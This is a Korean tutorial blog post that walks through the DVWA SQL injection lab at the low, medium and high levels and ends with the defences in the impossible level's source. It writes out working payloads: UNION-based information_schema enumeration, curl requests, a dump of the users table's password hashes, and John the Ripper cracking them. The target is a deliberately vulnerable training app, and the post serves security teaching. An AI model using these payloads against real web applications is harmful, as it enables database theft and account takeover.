홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#DVWA SQL Injection #DVWA #Damn Vulnerable Web Application #웹해킹 실습 #실습설명서 #SQL구문삽입 #mysql #Union-based SQLi #Manual SQL Injection #information_schema #취약한 비밀번호 #MD5 해시 #hash-identifier #John the Ripper #A1-Injection

DVWA: SQL Injection (low/medium/high level) 공략법

DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다.

DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.

여기서는 구동 후 DVWA 훈련장의 주소가 http://192.168.189.246/이었다. DVWA 누리집의 로그인 정보는 admin/password이다. 실습을 진행하기 전에 다음 두 가지 작업을 사전에 수행하야야 한다.

  1. "Setup / Reset DB" 항목에서 "Create / Reset Database"를 실행한다.
  2. "DVWA Security" 항목에서 "Security Level"을 시험하고자 하는 보안수준에 따라 Low, Medium, High 로 변경한다.

HTTP 통신을 확인하기 위해서 Firefox 환경설정에서 OWASP-ZAP을 HTTP 프록시로 연결하는 것이 좋다.

Vulnerability: SQL Injection, low level 설명

Vulnerability: SQL Injection 실습문제는 숫자를 입력하여 해당 User ID에 대한 회원정보를 열람하는 웹 애플리케이션이다. 숫자는 1, 2, 3, 4, 5를 사용할 수 있으며 나머지에 대해서는 정보가 나오지 않는다.

DVWA SQL Injection low level - id=5
[ DVWA SQL구문삽입 (보안수준: low). User ID = 5 검색 ]

위의 그림은 User ID가 5인 회원의 정보인 이름("Bob")과 성("Smith")을 출력하고 있다. OWASP-ZAP에서 확인한 HTTP 요청은 아래와 같다.

GET http://192.168.189.246/vulnerabilities/sqli/?id=5&Submit=Submit HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.189.246/vulnerabilities/sqli/
Cookie: PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=low
Connection: keep-alive
Host: 192.168.189.246

요청 URL은 http://192.168.189.246/vulnerabilities/sqli/?id=5&Submit=Submit이다. DBMS 조회에 사용되는 값은 id 변수일 것이다 - 물론 데이터베이스 조회에 Submit 변수 값이 사용될 가능성도 존재하므로 실제 취약점 점검에서는 모든 변수에 대해서 시험을 하게 된다.

User ID 변수를 대상으로 다음과 같은 입력값 조작을 통해서 SQL문을 추정한다.

  • 5'
    - 작은따옴표를 덧붙여서 SQL 문법오류를 강제로 유도한다. SQL 주입 가능성 탐지
  • 5 OR 1=1 -- xxx
    - OR문과 주석으로 SQL 주입 가능성 탐지. 숫자형은 작은 따옴표 생략 가능
  • 5' OR 1=1 -- yyy
    - 작은 따옴표, OR문과 -- 주석으로 SQL 주입 가능성 탐지. 5 이외의 다른 결과도 출력.
  • 5' OR 1=1#
    - 작은 따옴표, OR문과 # 주석으로 MySQL SQL구문삽입 가능성 탐지. 5 이외의 다른 결과도 출력.

작은따옴표(')를 User ID에 덧붙이면 서버의 응답에서 오류를 뱉어낸다. 참고로 작은 따옴표의 URL 인코딩 값은 %27이다. 칼리 리눅스의 터미널에서 man ascii 명령어를 입력하면 URL 인코딩에서 사용하는 각 문자의 16진수를 확인할 수 있다. 취약점 점검에서 가장 많이 사용하게 되는 URL 인코딩 값은 작은따옴표(', %26)와 앰퍼샌드(&, %26)이다. 공백문자( , %20), 작은부등호(<, %3C), 등호(=, %3D), 큰부등호(>, %3E) 등도 종종 사용하게 된다.

작은따옴표를 덧붙였을 때, curl의 접속 결과를 보자.

root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=low" "http://192.168.189lnerabilities/sqli/?id=5%27&Submit=Submit"
<pre>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''5''' at line 1</pre>root@kali:~#

MySQL이 SQL 문법오류(syntax error)를 뱉어내는 위치가 5'이다. 작은따옴표 하나를 붙여서 MySQL 문법에서 오류를 유도하였다. 사용자가 SQL 문법에 관여할 수 있다는 뜻이다. SQL 구문삽입 취약점이 존재할 가능성이 매우 높다.

[ SQL구문삽입 취약점 확진 ]

웹 브라우저로부터 전달된 사용자의 입력 값이 다시 웹서버에서 DB서버의 SQL분석기(SQL Parser)에 전달될 때 - 제대로 된 검증을 하지 않으면 - SQL문 주입 취약점이 발생한다. SQL구문삽입 취약점을 증빙하기 위해서는 어느 수준까지를 보고할 지 결정해야 한다. 대개의 경우에는 SQL 파서가 사용자의 입력 값에 영향을 받는다는 것이면 충분하다. 다음 OR 연산자를 삽입했을 때의 결과 화면이다(입력: 5' OR 1=1#).

DVWA SQL Injection low level - OR injection
[ DVWA SQL구문삽입 (보안수준: low). OR 구문 삽입이 성공함 ]

OR 연산자 삽입으로 User ID=5뿐만 아니라 1, 2, 3, 4인 경우의 모든 결과가 출력되는 것을 볼 수 있다. 대개의 경우 이 정도면 SQL 구문삽입의 증빙자료로 충분하다.

사용자의 입력값이 전달되는 경로는 [Web Browser] ==> [Web Application](index.php) ==> [DB서버](SQL Parser)로 추정할 수 있다. 여기서 OR 연산자와 주석(#)를 처리할 수 있는 경로는 SQL분석기(SQL Parser)이다. 아마도 웹 개발자가 SQL문을 해석할 수 있는 파서를 별도로 개발하지는 않을 것이다. 따라서 공격자가 삽입한 SQL문이 해석되었다면 SQL Parser에 의한 SQL구문삽입 취약점 때문이라고 결론지을 수 있다. 좀 더 확인하고자 할 경우에는 AND 연산자와 참(true)/거짓(false)을 섞어서 결과를 비교하면 된다. 예를 들어 Vulnerability: SQL Injection (low level)의 경우에는 5' OR 1=1# (5와는 다른 결과), 5' OR 1=2# (5와 같은 결과), 5' AND 1=1# (5와 같은 결과), 5' AND 1=2# (결과 없음)이라는 것을 관찰할 수 있을 것이다.

웹취약점점검 작업에서는 이 정도 수준에서 SQL인젝션 취약점을 증빙하여도 무리가 없다. 취약점이 발견되면 이제 sqlmap과 같은 SQL 자동화 공격도구를 이용하면 데이터베이스 열람이 가능한 경우가 많다. 이러한 공격도구들이 어떠한 방식으로 DBMS 조회를 수행하는 지 이해해보자.

Vulnerability: SQL Injection (low level) 실습문제에는 UNION 질의를 이용한 SQL구문삽입이 가능하다(UNION quey SQL Injection). 가장 기본적인 SQL구문 취약점이다. UNION 기반 SQLi에서는 1) SELECT문의 컬럼 수 확인, 2) 데이터베이스 목록 확인, 3) 각 데이터베이스의 테이블 목록 확인, 4) 테이블의 컬럼 목록 확인, 5) 테이블 내용 조회의 과정을 거쳐서 DB를 유출할 수 있다.

[ SELECT문의 컬럼 수 확인 ]

UNION 기반 SQLi의 경우에는 취약점이 발생하는 SELECT 문에서 조회하는 컬럼의 수를 알아내는 것이 중요하다. 컬럼의 수는 ORDER BY 연산자를 이용하면 편리하다. 그러나 이후의 과정을 고려하면 UNION SELECT를 이용한다. UNION은 앞 SELECT문과 뒤 SELECT문이 가져오는 컬럼의 수가 동일해야 한다. 이를 기준으로 뒷 SELECT문의 컬럼수를 1개씩 증가시키면서 최종 컬럼수를 확인할 수 있다.

root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=low" "http://192.168.189.246/vulnerabilities/sqli/?id=5%27+UNION+SELECT+1%23&Submit=Submit#"
<pre>The used SELECT statements have a different number of columns</pre>root@kali:~#

윗 화면은 UNION의 뒷 SELECT 문에 1개의 컬럼을 가져오게 하는 SQL문 삽입 결과이다. 이 컬럼은 별도의 이름이 있는 것이 아니라 무조건 숫자 1을 찍게 한다. 입력값은 5' UNION SELECT 1#이다. 결과를 보면 different number of columns라는 경고를 볼 수 있다. 앞 SELECT문이 조회하는 컬럼의 수가 1은 아니라는 뜻이다.

이제 뒷 SELECT문의 컬럼수를 하나씩 증가시킨다.

DVWA SQL Injection low level - UNION SELECT column count
[ DVWA SQL구문삽입 (보안수준: low). UNION 구문을 이용한 컬럼 수 파악 ]

User ID에 5' UNION SELECT 1,2#를 입력해보자. 위의 그림과 같이 정상적인 결과가 출력되었다. 그런데 두번째 결과를 보면 First name에 1, Surname에 2가 찍힌다. 원래 SQL문의 SELECT에서 조회하는 컬럼의 수는 두 개라는 것과 각 컬럼의 값이 출력되는 위치가 확인되었다.

SQL문의 SELECT가 조회하는 컬럼의 수를 확인할 때는 ORDER BY를 이용하는 방법도 있다. 보다 자세한 방법은 WebGoat SQLi 문서를 참조할 수 있다.

이제 컬럼의 수를 알았으므로, 이를 이용하여 DBMS의 버전을 확인해보자.

DVWA SQL Injection low level - MySQL version
[ DVWA SQL구문삽입 (보안수준: low). DBMS 버전 확인 (5.1.54-log) ]

User ID 입력값은 5' UNION SELECT 1,@@version#이다. Surname에 5.1.54-log이 출력되었다. 이 값으로부터 기반 DBMS가 MySQL 5.1.54임을 알 수 있다. 구글에서 "5.1.54-log"를 검색해보면 확인할 수 있다.

[ 데이터베이스 목록 확인 ]

MySQL의 정보스키마는 INFORMATION_SCHEMA이다. 이중에서 INFORMATION_SCHEMA.TABLESINFORMATION_SCHEMA.COLUMNS 테이블로 부터 모든 데이터베이스 구조를 알아낼 수 있다.

User ID 입력은 5' UNION SELECT TABLE_SCHEMA,2 FROM INFORMATION_SCHEMA.TABLES#이다. 접속 URL은 다음과 같다.

http://192.168.189.246/vulnerabilities/sqli/?id=5%27+UNION+SELECT+TABLE_SCHEMA%2C2+FROM+INFORMATION_SCHEMA.TABLES%23&Submit=Submit#

DVWA SQL Injection low level - database names
[ DVWA SQL구문삽입 (보안수준: low). 데이터베이스 이름 유출 ]

삽입한 UNION의 SELECT문에 의해 information_schema, dvwa, mysql 3개 DB 이름이 보인다(위의 그림 참조). Vulnerability: SQL Injection (low level) 웹 애플리케이션이 접근할 수 있는 데이터베이스는 바로 이 3개이다.

[ dvwa DB의 테이블 목록 확인 ]

이름으로 보아, 3개의 데이터베이스 중 dvwa가 Vulnerability: SQL Injection (low level) 실습문제가 사용하는 DB일 것으로 추정된다. 이 DB에 포함된 테이블 목록은 다음과 같이 확인할 수 있다.

User ID 입력값은 5' UNION SELECT 1,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='dvwa'#이다. TABLE_SCHEMA(데이터베이스 이름을 저장하는 컬럼) 값을 dvwa로만 한정하여 dvwa DB의 테이블 이름 컬럼(TABLE_NAME)을 전체를 조회한다. 다음은 접속시의 URL이다.

http://192.168.189.246/vulnerabilities/sqli/?id=5%27+UNION+SELECT+1%2CTABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA%3D%27dvwa%27%23&Submit=Submit#

DVWA SQL Injection low level - table names
[ DVWA SQL구문삽입 (보안수준: low). dvwa DB의 테이블 이름 유출 ]

그리고 그림에 출력된 결과로부터 dvwa 데이터베이스는 guestbook, users의 2개 테이블로 구성되어 있음을 알 수 있다.

[ dvwa.users 테이블의 컬럼 목록 확인 ]

dvwa 데이터베이스의 guestbook(아마도 방명록), users(아마도 회원정보) 두 테이블 중 관심이 먼저가는 것은 users 테이블이다. 이 테이블의 컬럼을 확인해 보자.

입력값은 5' UNION SELECT 1,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'#이다. (엄밀하게는 5' UNION SELECT 1,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='dvwa' AND TABLE_NAME='users'#로 하여 dvwa.users 테이블로 한정해야 한다.) 정보스키마의 INFORMATION_SCHEMA.COLUMNS 테이블로 부터 테이블 이름(TABLE_NAME)이 users인 모든 컬럼 이름(COLUMN_NAME)을 조회한다. 접속 URL은 다음과 같다.

http://192.168.189.246/vulnerabilities/sqli/?id=5%27+UNION+SELECT+1%2CCOLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME%3D%27users%27%23&Submit=Submit#

DVWA SQL Injection low level - users column names
[ DVWA SQL구문삽입 (보안수준: low). dvwa.users 테이블의 컬럼 이름 유출 ]

위의 그림으로부터 dvwa.users 테이블은 user_id, first_name, last_name, user, password, avatar, last_login, failed_login의 8개 컬럼으로 구성된 것을 알 수 있다. 조회에 사용한 User ID는 아마도 user_id 컬럼일 것이다.

[ dvwa.users 테이블의 user,password 열람 ]

dvwa.users 테이블에서 user, password 컬럼을 열람해보자.

User ID에 5' UNION SELECT user,password FROM dvwa.users#를 입력한다. 접속 URL은 다음과 같다.

http://192.168.189.246/vulnerabilities/sqli/?id=5%27+UNION+SELECT+user%2Cpassword+FROM+dvwa.users%23&Submit=Submit#

DVWA SQL Injection low level - users user/password dump
[ DVWA SQL구문삽입 (보안수준: low). dvwa.users 테이블의 user/password 덤프 ]

위의 그림에서 볼 수 있듯이 admin:5f4dcc3b5aa765d61d8327deb882cf99, gordonb:e99a18c428cb38d5f260853678922e03, 1337:8d3533d75ae2c3966d7e0d4fcc69216b, pablo:0d107d09f5bbe40cade3de5c71e9e9b7, smithy:5f4dcc3b5aa765d61d8327deb882cf99의 5개 회원 계정과 비밀번호 해쉬를 확보할 수 있다.

Vulnerability: SQL Injection (low level)에서는 SELECT 문이 조회하는 컬럼의 수가 2개 밖에 되지 않는다. 이 때문에 users 테이블을 한꺼번에 열람하기 곤란할 수 있다. 이런 경우에는 SQL의 CONCAT() 함수를 이용하면 원래 컬럼 수보다 더 많은 컬럼을 조회할 수 있다. 예를 들어 5' UNION SELECT CONCAT(user,':',user_id),password FROM dvwa.users#를 User ID에 입력해보자. user 컬럼과 user_id 컬럼을 하나처럼 묶어서 조회하는 것을 확인할 수 있을 것이다.

이렇게 모든 회원의 계정과 비밀번호 해쉬를 알아냈으므로 이 해쉬로부터 비밀번호를 알아낼 수 있다면 관리자 및 사용자 권한을 모두 탈취하게 된다.

[ 비밀번호 해쉬 깨기 ]

비밀번호는 대부분 해쉬(hash) 값으로 저장된다. 해쉬는 단방향 암호화의 일종으로 이론적으로는 복호화가 불가능하다. 그런데 널리 알려진 문자열(취약한 비밀번호)인 경우에는 추정이 가능하다. 첫번째는 구글이나 해쉬 데이터베이스를 이용하는 것이다. 구글에서 5f4dcc3b5aa765d61d8327deb882cf99를 검색해보자. 다수의 해쉬 DB 누리집과 5f4dcc3b5aa765d61d8327deb882cf99 = md5("password")라는 단서를 발견할 수 있을 것이다. 두번째는 취약한 비밀번호 목록으로부터 해쉬를 만들어서 동일한 해쉬가 있는 지 검사하는 것이다.

칼리 리눅스에서 두번째 방법을 실습해보자. 먼저 위에서 유출한 user 컬럼과 password 컬럼을 쌍점(:)으로 묶어서 파일을 만든다.

root@kali:~# cat users.txt
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
root@kali:~#

회원 ID와 비밀번호 해쉬를 묶어서 users.txt라는 파일을 만들었다. 그 내용은 위와 같다. 그리고 hash-identifier라는 도구를 이용하여 어떠한 알고리즘으로 만들어진 해쉬값인지 확인한다.

root@kali:~# hash-identifier <<< 5f4dcc3b5aa765d61d8327deb882cf99
   #########################################################################
   #	 __  __ 		    __		 ______    _____	   #
   #	/\ \/\ \		   /\ \ 	/\__  _\  /\  _ `\	   #
   #	\ \ \_\ \     __      ____ \ \ \___	\/_/\ \/  \ \ \/\ \	   #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R #
   #							www.Blackploit.com #
   #						       Root@Blackploit.com #
   #########################################################################

   -------------------------------------------------------------------------
 HASH: 
Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+]  RAdmin v2.x
[+]  NTLM
[+]  MD4
[+]  MD2
[+]  MD5(HMAC)
[+]  MD4(HMAC)
[+]  MD2(HMAC)
[+]  MD5(HMAC(Wordpress))
[+]  Haval-128
[+]  Haval-128(HMAC)
[+]  RipeMD-128
[+]  RipeMD-128(HMAC)
[+]  SNEFRU-128
[+]  SNEFRU-128(HMAC)
[+]  Tiger-128
[+]  Tiger-128(HMAC)
[+]  md5($pass.$salt)
[+]  md5($salt.$pass)
[+]  md5($salt.$pass.$salt)
[+]  md5($salt.$pass.$username)
[+]  md5($salt.md5($pass))
[+]  md5($salt.md5($pass))
[+]  md5($salt.md5($pass.$salt))
[+]  md5($salt.md5($pass.$salt))
[+]  md5($salt.md5($salt.$pass))
[+]  md5($salt.md5(md5($pass).$salt))
[+]  md5($username.0.$pass)
[+]  md5($username.LF.$pass)
[+]  md5($username.md5($pass).$salt)
[+]  md5(md5($pass))
[+]  md5(md5($pass).$salt)
[+]  md5(md5($pass).md5($salt))
[+]  md5(md5($salt).$pass)
[+]  md5(md5($salt).md5($pass))
[+]  md5(md5($username.$pass).$salt)
[+]  md5(md5(md5($pass)))
[+]  md5(md5(md5(md5($pass))))
[+]  md5(md5(md5(md5(md5($pass)))))
[+]  md5(sha1($pass))
[+]  md5(sha1(md5($pass)))
[+]  md5(sha1(md5(sha1($pass))))
[+]  md5(strtoupper(md5($pass)))

   -------------------------------------------------------------------------
 HASH: Traceback (most recent call last):
  File "/usr/bin/hash-identifier", line 556, in 
    hash = raw_input(" HASH: ")
EOFError: EOF when reading a line
root@kali:~#

경험상으로 보아 숫자와 알파벳으로 구성된 32자 짜리 해쉬는 대개 MD5 해쉬이다. 칼리 리눅스에 설치된 hash-identifier로 확인했을 때도 "5f4dcc3b5aa765d61d8327deb882cf99"는 MD5일 확률이 가장 높은 것을 볼 수 있다.

John the Ripper를 이용하여 무작위대입(brute-force)으로 users.txt에 저장된 해쉬값을 만들 수 있는 문자열을 거꾸로 계산해보자.

root@kali:~# john --format=Raw-MD5 users.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (admin)
password         (smithy)
abc123           (gordonb)
letmein          (pablo)
charley          (1337)
5g 0:00:00:00 DONE 3/3 (2016-12-24 03:25) 7.575g/s 275312p/s 275312c/s 298663C/s charlie..charies
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~#

John the Ripper는 순식간에 5개 비밀번호 해쉬의 원래 문자열을 계산해냈다. 원래 비밀번호들이 널리 알려져있는 취약한 비밀번호(password, abc123, letmein)이거나 매우 단순(charley)하기 때문이다.

범용 SQL 자동화 공격도구인 sqlmap에서도 이러한 기능을 지원한다. 비밀번호를 포함하는 회원정보를 유출할 때는 sqlmap 취약한 비밀번호에 대해서는 빠르게 해쉬의 원래 문자열을 거꾸로 계산해낸다. DVWA SQL Injection (medium level) - sqlmap 버전을 참조하기 바란다.

Vulnerability: SQL Injection, medium level 설명

Vulnerability: SQL Injection (medium level) 실습 문제의 PHP 소스코드를 살펴보자. 방어와 관련된 부분과 SQL문 생성 코드는 아래와 같다.

    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

사용자 입력값(id)에 mysql_real_escape_string() PHP 함수를 처리하고 있다. 이 함수는 \x00, \n, \r, \, ', ", \x1a 문자에 역사선을 앞에 붙여서 SQL문으로 처리되는 것을 방지한다. 예를 들어 사용자 입력이 George Orwell's Animal Farm이라면 mysql_real_escape_string() 함수는 이를 George Orwell\'s Animal Farm로 변환하여 SQL문법에 영향을 주지 않게 만든다.

그리고 SQL문에 id 값을 전달할 때는 큰따옴표(")나 작은따옴표(')를 사용하지 않는다.

OWASP-ZAP을 실행하고 Firefox의 HTTP 프록시에 OWASP-ZAP을 설정한다. 파이어폭스의 Preferences -> Advanced -> Network -> Settings... -> Manual proxy configuration127.0.0.1:8080으로 맞추면 된다. 홈페이지의 DVWA Security에서 Security Level을 medium으로 설정하고 접속하자.

DVWA SQL Injection medium level - OWASP-ZAP
[ DVWA SQL구문삽입 (보안수준: medium). OWASP-ZAP에서의 데이타 조작 ]

위와 같이 HTTP 통신 가로채기를 통해서 id 변수를 조작한다. 다음은 OWASP-ZAP에서 조작한 HTTP 요청이다.

POST http://192.168.189.246/vulnerabilities/sqli/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.189.246/vulnerabilities/sqli/
Cookie: PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=medium
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Host: 192.168.189.246

id=1+OR+1%3D1%23&Submit=Submit

id 변수의 입력값은 1 OR 1=1#이다. 그 결과를 파이어폭스에서 살펴보면 다음과 같다.

DVWA SQL Injection medium level - OR injection
[ DVWA SQL구문삽입 (보안수준: medium). OR 구문삽입이 성공한 모습 ]

Low level에서와는 달리 작은따옴표 없이 OR 연산자 삽입에 성공하였다. 5개 계정이 모두 출력되는 것을 볼 수 있다. 이제 작은따옴표를 덧붙이지 않는 것만 제외하면 low level에서와 동일하게 추가 공격이 가능하다.

일부 웹 어플리케이션에서는 결과 1개만을 출력하는 경우가 있다. DVWA SQL Injection 문제가 결과 1개만을 출력한다고 가정하자. 이러한 경우에는 LIMIT 연산자를 이용하여 1개씩 데이타를 유출하여야 한다. Medium level에서 dvwa.users 테이블의 user,password 유출은 다음과 같이 5번의 과정을 더 거쳐야 할 것이다.
   (1) 1 OR 1=1 UNION SELECT user,password FROM dvwa.users LIMIT 2,1#
   (2) 1 OR 1=1 UNION SELECT user,password FROM dvwa.users LIMIT 3,1#
   (3) 1 OR 1=1 UNION SELECT user,password FROM dvwa.users LIMIT 4,1#
   (4) 1 OR 1=1 UNION SELECT user,password FROM dvwa.users LIMIT 5,1#
   (5) 1 OR 1=1 UNION SELECT user,password FROM dvwa.users LIMIT 6,1#

웹 취약점 분석에서는 시간이 중요하다. 정해진 시간내에 작업을 마쳐야 하기 때문이다. OWASP-ZAP이나 sqlmap과 같은 도구를 사용하면 보다 빠른 점검을 진행할 수 있다. DVWA SQL Injection (medium level) - sqlmap 버전을 참조하기 바란다.

Vulnerability: SQL Injection, high level 설명

Vulnerability: SQL Injection (high level) 실습문제의 소스를 살펴보자.

    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

SQL문에서 사용할 id 값을 서버의 세션(session)으로부터 읽어서 사용한다. 온전하게 안전한 방법이다. 실질적으로 사용자가 서버에 저장된 세션내의 값을 조작할 수 있는 방법이 없기 때문이다.

Vulnerability: SQL Injection (high level) 실습문제에서는 서버의 세션에 저장되는 값을 사용자가 변경할 수 있는 웹 애플리케이션을 제공한다. High level 문제는 비현실적인 상황을 가정한 것으로 보아도 무방하다. 일반적으로 세션은 서버가 자동으로 만든다. 로그인을 하게 되면 검증된 값(ID, 권한 등)을 저장한다. 이외에는 수시로 변경될 수 있는 값이 저장되기도 한다. Anti-CSRF 토큰이 한 예이다. 그러나 이러한 값들은 모두 서버가 결정하여 저장하는 값이며, 사용자(웹 브라우저)가 관여할 수 있는 경우는 거의 없다.

그럼에도 불구하고, high level 문제에서는 서버의 세션에 저장되는 값을 변경할 수 있는 웹 애플리케이션을 제공하므로 입력값에 SQL 구문삽입을 시도해보자.

DVWA SQL Injection high level - OR injection
[ DVWA SQL구문삽입 (보안수준: high). OR 구문삽입이 성공한 모습 ]

Session ID에 1' OR 1=1 -- xf을 입력해보자. 참고로, MySQL에서는 --는 주석이 아니며, -- 등과 같이 공백이나 공백으로 처리되는 다른 특수문자가 덧부터야 주석으로 처리된다. 위의 그림에서와 같이 5개 게정 모두가 출력되는 것을 볼 수 있다. OR 연산자를 이용한 SQL구문삽입이 성공한 것이다. Low level과 마찬가지로 컬럼 수 확인, 데이터베이스 확인, 테이블 확인, 컬럼 확인, 데이터 유출 과정을 거치면 DB 내용 전체를 열람할 수 있게 된다.

Vulnerability: SQL Injection, impossible level 설명

Impossible level의 PHP 소스코드를 살펴보자.

    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) { 

Anti-CSRF token이 적용되어 있다. CSRF에 의한 사용자 계정 열람의 가능성을 차단하고 있다. 그러나 현실적으로는 SQL구문삽입을 방어하는 데는 큰 도움이 되지는 않는다.

두번째 방어수단은 is_numeric() PHP 함수이다. id 값이 숫자인 경우에만 SQL문으로 이 값을 전달한다. 숫자 형식이 아니면 SQL문으로 전달하지 않기 때문에 SQL 구문삽입이 발생하지 않는다.

Vulnerability: SQL Injection에서 id는 1, 2, 3, 4, 5와 같은 정수형이므로 is_numeric() 대신 is_int() 함수로 대체하여 사용할 수도 있다.

가용성을 좀 더 높이고자 한다면 형변환(type casting)을 적용하는 것도 한 방법이다. 예를 들어
     $id = $_GET[ 'id' ];
대신
     $id = (int)$_GET[ 'id' ];
와 같이 GET 변수를 정수(int)로 형변환하게 되면 굳이 is_numeric()이나 is_int()와 같은 함수를 사용하지 않아도 된다. 문자열이 숫자로 시작하면 숫자까지만 숫자로 받아들이고 그 뒤는 무시한다. 첫 문자가 숫자가 아니면 무조건 0으로 변환한다. 실수형일 경우에는 float로 형변환하면 된다.

[처음 작성한 날: 2016.12.24]    [마지막으로 고친 날: 2016.12.24] 


< 이전 글 : DVWA File Upload 실습 설명서 (2016.12.21)

> 다음 글 : DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (2016.12.22)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문
 ____________________________________________________
( Linux is a cancer!                                 )
(                                                    )
( - Steve Ballmer, Microsoft CEO, June 1, 2001       )
(                                                    )
( Linux Is No Longer ‘A Cancer’                                                    )
(                                                    )
( - Steve Ballmer, Ex. Microsoft CEO, March 11, 2016 )
 ----------------------------------------------------
     o
      o
          oO)-.                       .-(Oo
         /__  _\                     /_  __\
         \  \(  |     ()~()         |  )/  /
          \__|\ |    (-___-)        | /|__/
          '  '--'    ==`-'==        '--'  '
.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .